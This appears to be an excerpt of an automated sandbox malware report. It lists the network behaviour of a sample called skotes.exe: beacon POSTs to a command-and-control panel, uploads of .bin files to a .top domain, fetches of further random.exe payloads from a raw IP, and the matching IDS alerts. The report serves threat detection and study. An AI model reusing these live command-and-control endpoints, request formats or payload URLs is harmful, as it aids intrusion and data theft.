Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 45 37 31 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32E71B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 45 37 31 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32E71B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 45 37 31 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32E71B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20pn.topAccept: /Content-Length: 463Content-Type: multipart/form-data; boundary=------------------------rMax4SAkNHGr8ofaH0KIJhData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 72 4d 61 78 34 53 41 6b 4e 48 47 72 38 6f 66 61 48 30 4b 49 4a 68 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 58 75 6d 75 64 65 70 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ec ce e5 cd 8e e5 b5 10 5d e2 f4 eb ea 90 8f dc 72 7a 3d ed f5 5a d9 6b 67 27 2c 97 d4 63 aa dc 23 a9 5e f3 14 b1 82 8b d1 24 17 23 8e 6c 3e cf aa 12 99 a8 fc 7b 02 4c 19 6e 5c 01 0c 09 2a ae 80 77 8b a9 a1 1d 44 bb d5 b6 23 d0 60 b4 3a 82 ac 3a ec 8d bb 2a 3b 18 c9 72 13 65 f2 68 45 f9 53 59 d4 78 1f 66 97 56 e4 41 db 86 9f 04 6f 4e 2a 9b 6d 1c 92 6d bb 7c 2f 10 63 0e 94 0e 26 0c f2 9c f8 55 3a f6 b0 8a 27 a4 3b 1e 35 94 af c7 55 b2 cf 0d 32 f5 75 89 42 cd b5 52 50 c0 b2 44 2b a6 bc e8 8f 72 88 12 3f c1 f4 ee ca 09 dc bd f5 1b 26 fa 7d b2 2a 8a eb be e7 74 ca d4 60 53 7e 79 46 b0 06 46 94 df 99 86 58 e7 c3 e0 1d 4b dc 0f 31 64 59 bd 95 00 6b 34 eb 14 80 f4 df 97 3e 4d 8b 70 df 02 85 d8 a5 31 72 2a ce 16 2e d3 e2 83 13 0e b1 72 7e 1d 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 72 4d 61 78 34 53 41 6b 4e 48 47 72 38 6f 66 61 48 30 4b 49 4a 68 2d 2d 0d 0a Data Ascii: --------------------------rMax4SAkNHGr8ofaH0KIJhContent-Disposition: form-data; name="file"; filename="Xumudep.bin"Content-Type: application/octet-stream]rz=Zkg',c#^$#l>{Ln\wD#`::;rehESYxfVAoNmm\|/c&U:';5U2uBRPD+r?&}t`S~yFFXK1dYk4>Mp1r*.r~--------------------------rMax4SAkNHGr8ofaH0KIJh--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20pn.topAccept: /Content-Length: 76978Content-Type: multipart/form-data; boundary=------------------------psxOhntH9I6CMXCWAl9J9eData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 70 73 78 4f 68 6e 74 48 39 49 36 43 4d 58 43 57 41 6c 39 4a 39 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 57 61 67 61 63 69 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a f4 b4 86 3e 2d 41 f1 e9 26 96 53 41 5f 6d c6 57 20 c2 2d 8c b4 ab 0f 9e d3 dc ce 38 5b 18 20 29 06 51 2f 8e 22 e5 0f ae 23 5a 03 f0 dc 8c 6e d5 c5 7c c2 14 b0 2a 35 1e ed 3c 55 50 53 fa 89 f6 f1 b5 b1 d7 ec f9 9b e2 31 f3 2a 20 a6 50 7d 8c ab 3d 49 6f a9 8b 64 24 65 1f 1b 6a c6 f2 25 6a 36 cf 9e c1 08 7b 64 e9 df 5e f8 2a ae 63 0c f2 b7 a7 44 61 02 f0 ec e8 02 85 92 28 63 cb 8e 14 59 ec 8f 7c 81 8f 20 6b 4c d8 0d 4d ac 8b 1f 35 a1 6c d4 85 c1 c4 e6 a5 67 9b d5 78 3f b3 33 fb ec 4b 1c a3 c8 c1 a6 21 19 31 4f e6 ad 35 86 9c 1e 55 2a 3c cc 70 04 f7 8a 70 4b b7 f1 45 73 95 e7 bf 0b e0 83 3f d8 d4 9e 50 3c 69 0c 8d 46 37 c3 c9 76 24 0d 1e 80 c1 e4 e3 fe 89 9b 1a 3b ee 10 7a 01 94 80 e3 8f 6b f2 00 3d 68 ab f6 d7 0e ee 86 1c dc 38 0e 37 06 ce 62 36 71 e8 c7 6b 0a 6e 44 46 a9 23 a0 6f aa 94 6d ea 10 6b a3 f1 10 90 9a 56 2e 82 c3 86 9c 12 09 0c a3 40 65 db 35 1b 77 76 82 25 0d 1f ae 9c 39 5d e6 7d 05 bd 0d 1d 7e 0d 3f cb 23 71 fd da 15 e8 33 1a 1c 08 c1 73 03 22 18 d8 62 de 9b 29 7f b2 35 93 20 2d b4 a9 3d 00 2f e8 1f 9b 13 34 34 c2 7c 66 58 32 a2 a6 c1 ab 80 56 57 1c 17 ab 63 dd af b2 0a e2 78 8c a3 01 02 b1 7e fc bd 50 5f 4f f1 69 92 83 4f 0c b5 8d c3 c4 14 25 be ec 79 9e e5 ed 86 c1 21 51 66 b1 b2 23 d6 98 b6 31 fa f7 e3 17 3d 6d 21 1d 54 0e d7 18 f8 ff 41 4c 29 2c f1 3c ac 62 2f b1 82 8d 31 17 4c ae 96 07 9f 45 e5 45 d4 13 28 37 a1 c8 21 e2 cf f6 b3 08 95 7e 77 fb d4 35 df 53 61 2a 67 8e 04 dc af 2d a6 af 97 35 a8 a4 b2 79 e2 5d 47 bc bf ca 4a 48 58 21 ef a3 7d 8d af ae c7 72 fa 35 bd bb 84 d8 d5 db 74 87 6d 91 65 74 22 fb 65 4a b6 5a 69 76 ae e0 43 07 55 ea a3 5f 05 27 af 78 ff b9 3e e2 c8 23 f4 a3 f9 47 2c 63 15 8d f5 65 b9 5e ec b5 2a 14 10 18 64 a2 f1 e3 d6 b0 e6 a9 fb 1f b2 db 29 b3 a5 fe 58 39 f1 8b 8f 08 30 8b 71 1c 01 3b a4 a9 c8 db 18 ac 71 38 7c a3 36 08 38 f6 67 ea a6 fe 2a 03 ce f8 4f 88 77 e0 9f 15 cd 19 2b 26 33 11 bf 6a c7 fb 5f 97 a0 25 1d 4e a5 9e ff 59 56 e7 db 26 09 01 84 0d 89 46 6a cd 15 35 60 10 cd e0 10 02 e8 9f 12 a5 7f c0 31 15 21 66 67 3e ff f5 ed 58 5d 53 c6 cc 61 f5 19 03 e3 51 33 96 b5 b8 8c 90 a5 77 7b 77 dd b5 a3 ef 0d 66 25 66 c5 88 f7 91 44 09 79 1f 64 b5 e7 83 54 90 5f 94 df 36 87 be 24 c5 6f 10 a6 37 24 ed 8b bb 4c a9 b8 91 1c 63 0d 1c 62 48 51 05 d8 0f 1f 06 08 68 85 72 58 f0 56 8e 00 8f 85 c5 bd fb d3 6f 22 e1 ef 49 5f 6f 2e b4 b6 a6 4a 6c e7 ec 9c da 00
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 45 37 31 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32E71B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20pn.topAccept: /Content-Length: 30407Content-Type: multipart/form-data; boundary=------------------------CCm8LMigJGORbWBQdmSru4Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 43 43 6d 38 4c 4d 69 67 4a 47 4f 52 62 57 42 51 64 6d 53 72 75 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 59 69 6e 6f 72 75 66 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a d0 01 c7 10 0a b6 ae f8 34 08 50 ef 84 36 e0 26 34 1e 9c 88 90 9b b0 39 8a 47 fe 59 a9 4e 75 30 08 75 85 d9 40 bf a1 85 91 b3 f0 b7 da ed 21 09 6e cf 29 ef da cc c2 ae 22 5f f6 de c6 0a f9 c3 cf 17 24 b6 04 57 8b 3e 47 88 8f f2 f4 04 de e5 d4 77 6f f8 60 79 0f 2a 28 25 53 89 bc 67 41 0f d7 d9 d9 60 bb 3c a1 73 34 28 e8 6e bd 98 af 65 4b d5 94 21 b0 d7 87 5a 56 28 05 d8 91 93 6c bc 12 35 97 62 d8 4e c4 d0 af 64 c8 3d b9 9e a6 9c 76 e7 03 90 87 77 f5 90 53 3b 14 ba 48 f0 c5 da 7b cf 5b 29 69 9d b7 49 10 80 a2 06 90 c3 c8 49 c9 47 f6 37 d0 70 cb 08 3d 51 04 9f c4 a6 07 ac a0 83 8f 85 fa 86 31 71 cb bc da b2 68 f3 f6 cd ce cc aa 59 8e 3d 1b 6f be 04 7b aa 2d c1 75 19 b6 cf b9 ee 09 74 71 71 4f 1a 12 60 19 98 fa c3 3f 96 bc 84 1d af 8e cb a0 6d ed 46 78 2b ee 0e f1 dd 53 cc e6 53 36 b2 76 01 83 33 38 c9 01 0a b7 a2 2f 44 01 61 ea 05 48 88 b3 ef d5 60 39 b0 84 4b 5f a7 7a 09 4b cb 78 c7 9e 6b da 32 1c 65 6e 73 af 6e 36 33 9e 0d a1 f0 4c 21 d1 f7 a3 0f 18 61 8e 4a a2 ef da c2 40 b4 f7 81 36 3f bf 5e b7 3b 50 a6 19 07 80 72 b5 2c ca 08 be 83 82 d9 cd 13 26 5e 34 2f 3b 08 c5 f5 72 33 0a 1c 5c 55 c8 34 ee 91 30 27 84 54 41 ef 66 e7 f0 cc 92 4e 34 b8 89 70 c3 79 08 bf 4a b3 35 74 e5 b1 05 e2 c9 0e 86 51 1e 81 91 72 b3 cc bc bd 93 06 4e 5d 20 d7 5f b9 46 b9 10 00 0f 86 96 e5 a6 9a a3 8d e6 13 fd 7f 82 1f 02 84 db 44 56 f1 ca 79 2d 6e 46 ac 73 de 26 01 4a d7 57 bc a6 3d 75 63 85 ec 96 5e 19 c4 66 49 8f 57 64 d7 d0 0a c2 b2 0d 7c 88 c1 8c 15 e7 55 3b e7 45 cc 2c 41 30 c9 81 e3 15 59 8b a7 07 95 28 60 fa 21 bc 7a 34 a4 7f f4 4d 35 1b 63 3f 76 da 3e 27 6a 03 2a 79 e4 a3 ef eb 91 9c 9b 3a 29 22 c7 b4 fa e7 46 6c e4 84 20 48 e9 67 ca cd 76 3c 38 91 ae e0 be 0c 8e e2 97 1c 75 0d 57 6e a8 a0 37 0e c6 f4 8b 1f ed 74 e3 87 db 98 8d 58 19 87 48 71 9f 8c a0 64 8a 56 ef 38 19 83 c3 ee 2c f3 05 bc f7 59 77 30 23 87 b7 e2 c0 1d 4c 04 ca 87 f0 7b 12 a8 35 db f4 46 8d ab 48 bc 91 22 b7 3b bf 96 ce f2 63 87 f1 6a 5c 97 04 4f 3a 92 38 d7 ca 8f 28 16 94 20 e3 cd e0 98 cb 4b 5c d3 fa fa a8 2a e8 12 d7 60 e3 c9 db c6 4f e2 47 ea 88 c4 33 d9 b2 0c e5 ad 5c ef c1 ee b2 8e cc 59 71 d8 1b 67 de 3e 3a 8d 2f 80 da 32 fe 91 cf df a5 97 f1 e8 54 68 06 ec 16 ae 54 ea 85 97 3e ba d3 bb 9c 63 20 a8 f3 56 04 b5 d9 6f 44 65 51 53 4d 1a 14 28 19 f1 81 7a e6 e4 90 82 6a ef 9e f0 eb 39 51 62 ec b1 68 fd 3b a7 fa ee 03 b5 e5 69 ce 43
Source: global traffic	HTTP traffic detected: POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1Host: home.twentytk20pn.topAccept: /Content-Type: application/jsonContent-Length: 56Data Raw: 7b 20 22 69 64 31 22 3a 20 22 57 35 49 30 34 52 4a 67 38 48 38 7a 6d 78 39 67 31 37 33 34 35 31 38 38 38 30 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "W5I04RJg8H8zmx9g1734518880", "data": "Done2" }

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 98.85.100.80 98.85.100.80

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49806 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49837 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49859 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49880 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49886 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49878 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49910 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49930 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49941 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49955 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49967 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49978 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49990 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50000 -> 172.67.209.202:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 46Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=74PNI4XZW2SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12816Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=28WX2WOCTWQ107PDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15092Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=GKNINE9LBXH7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19926Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=PRO4VUDRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1232Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=0Z7WEBKP4WS9XZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 571932Host: pancakedipyps.click

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\Desktop\random.exe_Y.exe

Code function: 0_2_000AE0C0 recv,recv,recv,recv,

0_2_000AE0C0

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/dodo/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /WEIsmPfDcpBFJozngnYN1734366322?argument=W5I04RJg8H8zmx9g1734518880 HTTP/1.1Host: home.twentytk20pn.topAccept: /

Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat
Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.twentytk20pn.top
Source: global traffic	DNS traffic detected: DNS query: pancakedipyps.click
Source: global traffic	DNS traffic detected: DNS query: twentytk20pn.top
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: grannyejh.lat

Source: skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.3383542178.00000000005D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php.usere
Source: skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php0
Source: skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php38c2817dba29a4b5b25dcf0l
Source: skotes.exe, 00000006.00000002.3383542178.00000000005D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php6879001
Source: skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php7H
Source: skotes.exe, 00000006.00000002.3383542178.00000000005D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php879001
Source: skotes.exe, 00000006.00000002.3383542178.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpHH
Source: skotes.exe, 00000006.00000002.3383542178.00000000005D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpLocal
